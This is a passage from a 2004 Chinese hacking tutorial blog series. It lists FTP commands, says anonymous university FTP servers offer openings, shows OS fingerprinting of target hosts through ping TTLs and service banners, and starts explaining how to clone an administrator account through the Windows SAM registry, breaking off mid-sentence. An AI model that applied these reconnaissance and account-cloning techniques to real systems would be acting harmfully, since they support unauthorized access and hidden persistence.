怎么开头呢?每次我都要想很长时间,这主要是我写作文时留下的毛病,总是在开头时想很久。好,就从什么叫FTP开始说吧。大家都知道FTP,但很多人都讲不好它具体指什么,FTP是指文件传输协议,因特网上常用的文件传输协议,它使用户能够在两个联网计算机间实现文件传输,是因特网上传递文件最主要的方法。在使用FTP进行文件传输时,首先启动FTP客户端程序与远程主机建立连接,然后向远程主机发出传输命令,远程主机在收到命令后给予响应,并执行正确的命令。除此之外,FTP还提供登录、目录查询、文件操作及其他会话控制功能。 很详细了吧,别老是认为FTP就是传文件的软件,呵呵
因为FTP是一种文件传输方式,所以要入侵它就有点困难了,一般现在都没什么用了,因为即使你取得了上传权限也无法直接执行程序,在UNIX或是早期一些主机上或许有一些溢出或是越权的漏洞。今天我们说这个是因为很多FTP都是可以匿名登陆的(各个高校的至少对校内的都是吧,也有严格的好像科大的就是需要很严格的认证,晕^^^),这就有文章做了
对了,说到这我想说一下FTP的一些基本命令,大家可能都知道,还是说一下 (以人为本嘛)很长的,希望大家耐性看
FTP命令:
FTP的命令行格式为: ftp -v -d -i -n -g [主机名] ,
其中 -v 显示远程服务器的所有响应信息;
-n 限制ftp的自动登录,即不使用;.n etrc文件;
-d 使用调试方式;
-g 取消全局文件名。
FTP使用的内部命令如下(中括号表示可选项):
1.![cmd[args>:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。
3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。
5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。
7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。
9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。
11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。
13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。
15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。
17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件
18.disconnection:同close。
19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。
21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。
23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。
25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。
27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。
29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。
31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。
33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。
35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。
37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。
39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars>:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。
41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。
43.prompt:设置多个文件传输时的交互提 -
2004-04-17
[第8天]从回答一个朋友的问题说起 - [30天打造专业红客]
有个朋友发了短信给我问怎么判断对方主机的操作系统呢?今天我们就先说说这个问题。我先从最简单的PING看主机操作系统说起
一、用ping来识别操作系统
C:\>ping 10.1.1.2
Pinging 10.1.1.2 with 32 bytes of data:
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Ping statistics for 10.1.1.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>
C:\>ping 10.1.1.6
Pinging 10.1.1.6 with 32 bytes of data:
Request timed out.
Reply from 10.1.1.6: bytes=32 time=250ms TTL=237
Reply from 10.1.1.6: bytes=32 time=234ms TTL=237
Reply from 10.1.1.6: bytes=32 time=234ms TTL=237
Ping statistics for 10.1.1.6:
Packets: Sent = 4, Received = 3, Lost = 1 (25% loss),
Approximate round trip times in milli-seconds:
Minimum = 234ms, Maximum = 250ms, Average = 179ms
我们跟据ICMP报文的TTL的值,我们就可以大概知道主机的类型。如:TTL=125左右的主机应该是windows系列的机子,TTL=235左右的主机应该是UINX系列的机子。如上面的两个例子,10.1.1.2就是win2000的机子,而10.1.1.6则是UINX(Sunos 5.8)的机子。这是因为不同操作系统的机子对ICMP报文的处理与应答是有所不同的,TTL值每过一个路由器会减1。所以造成了TTL回复值的不同。对于TTL值与操作系统类型的对应,还要*大家平时多注意观察和积累。
二、直接通过联接端口根据其返回的信息来判操作系统
这种方法应该说是用得最多的一种方法,下面我们来看几个实例。
1、如果机子开了80端口,我们可以telnet它的80端口。
C:\>telnet 10.1.1.2 80
输入get 回车(注意这里是盲打)
如果返回,
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Fri, 11 Jul 2003 02:31:55 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body>
</html>
遗失对主机的连接。
C:\>
那么这台就肯定是windows的机子。
如果返回,
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>501 Method
Not Implemented</TITLE> </HEAD><BODY> <H1>Method Not Implemented</H1> get to / not
supported.<P> Invalid method in request get<P><HR> <ADDRESS>Apache/1.3.27 Server at gosiuniversity.com Port 80</ADDRESS>
</BODY></HTML>
遗失对主机的连接。
C:\>
那么多数就是UINX系统的机子了。
2、如果机子开了21端口,我们可以直接FTP上去
C:\>ftp 10.1.1.2
如果返回,
Connected to 10.1.1.2.
220 sgyyq-c43s950 Microsoft FTP Service (Version 5.0).
User (10.1.1.2:(none)):
那么这就肯定是一台win2000的机子了,我们还可以知道主机名呢,主机名就是sgyyq-c43s950。这个FTP是windows的IIS自带的一个FTP服务器。
如果返回,
Connected to 10.1.1.3.
220 Serv-U FTP Server v4.0 for WinSock ready...
User (10.1.1.3:(none)):
也可以肯定它是windows的机子,因为Serv-U FTP是一个专为windows平台开发的FTP服务器。
如果返回,
Connected to 10.1.1.3.
220 ready, dude (vsFTPd 1.1.0: beat me, break me)
User (10.1.1.3:(none)):
那么这就是一台UINX的机子了。
3、如果开了23端口,这个就简单了,直接telnet上去。
如果返回,
Microsoft ® Windows ™ Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
那么这肯定是一台windows的机子了
如果返回,
SunOS 5.8
login:
不用说了,这当然是一台UINX的机子了,并且版本是SunOS 5.8的。
三、利用专门的软件来识别
这种有识别操作系统功能的软件,多数采用的是操作系统协议栈识别技术。这是因为不同的厂家在编写自己操作系统时,TCP/IP协议虽然是统一的,但对TCP/IP协议栈是没有做统一的规定的,厂家可以按自己的要求来编写TCP/IP协议栈,从而造成了操作系统之间协议栈的不同。因此我们可以通过分析协议栈的不同来区分不同的操作系统,只要建立起协议栈与操作系统对应的数据库,我们就可以准确的识别操作系统了。
下面是简单介绍两款有识别功能的软件,具体用法我就不说,你可以到网上去找找相应软件的说明使用
一是nmap,下载地址:http://www.linuxeden.com/download/indexsoft.php?category=syssecure 它采用的是主动式探测,探测时会主动向目标系统发送探测包,根据目标目标机回应的数据包来,叛断对方机的操作系统。
2、 天眼,采用的是被动式的探测方法。不向目标系统发送数据包,只是被动地探测网络上的通信数据,通过分析这些数据来判断操作系统 -
2004-04-08
[第7天]继续讲,从克隆帐号 讲起 - [30天打造专业红客]
前2天基本的一些东西都讲过了,今天我觉得得把克隆帐号这个问题讲清楚了
什么叫克隆帐号 ?
前辈说:在注册表中有两处保存了帐号的SID相对标志符,一处是SAM\Domains\Account \Users下的子键名,另一处是该子键的子项F的值中。这里微软犯了个不同步它们的错误,登陆时用的是后者,查询时用前者。当用admin的F项覆盖其他帐号的F项后,就造成了帐号是管理员权限但查询还是原来状态的情况 。即所谓的克隆帐号。(我想这个很明白的,如果还有这个问题,你去网络技术版块问吧)
说到克垄帐号就得说说SAM安全帐号管理器,详细的我就不重复了,因为呢多前辈写了很多很棒的文章,大家有兴趣就看看:http://www.51chongdian.com/Article_Show.asp?ArticleID=77
明白原理后就可以手动或者用现成的工具克隆帐号,用什么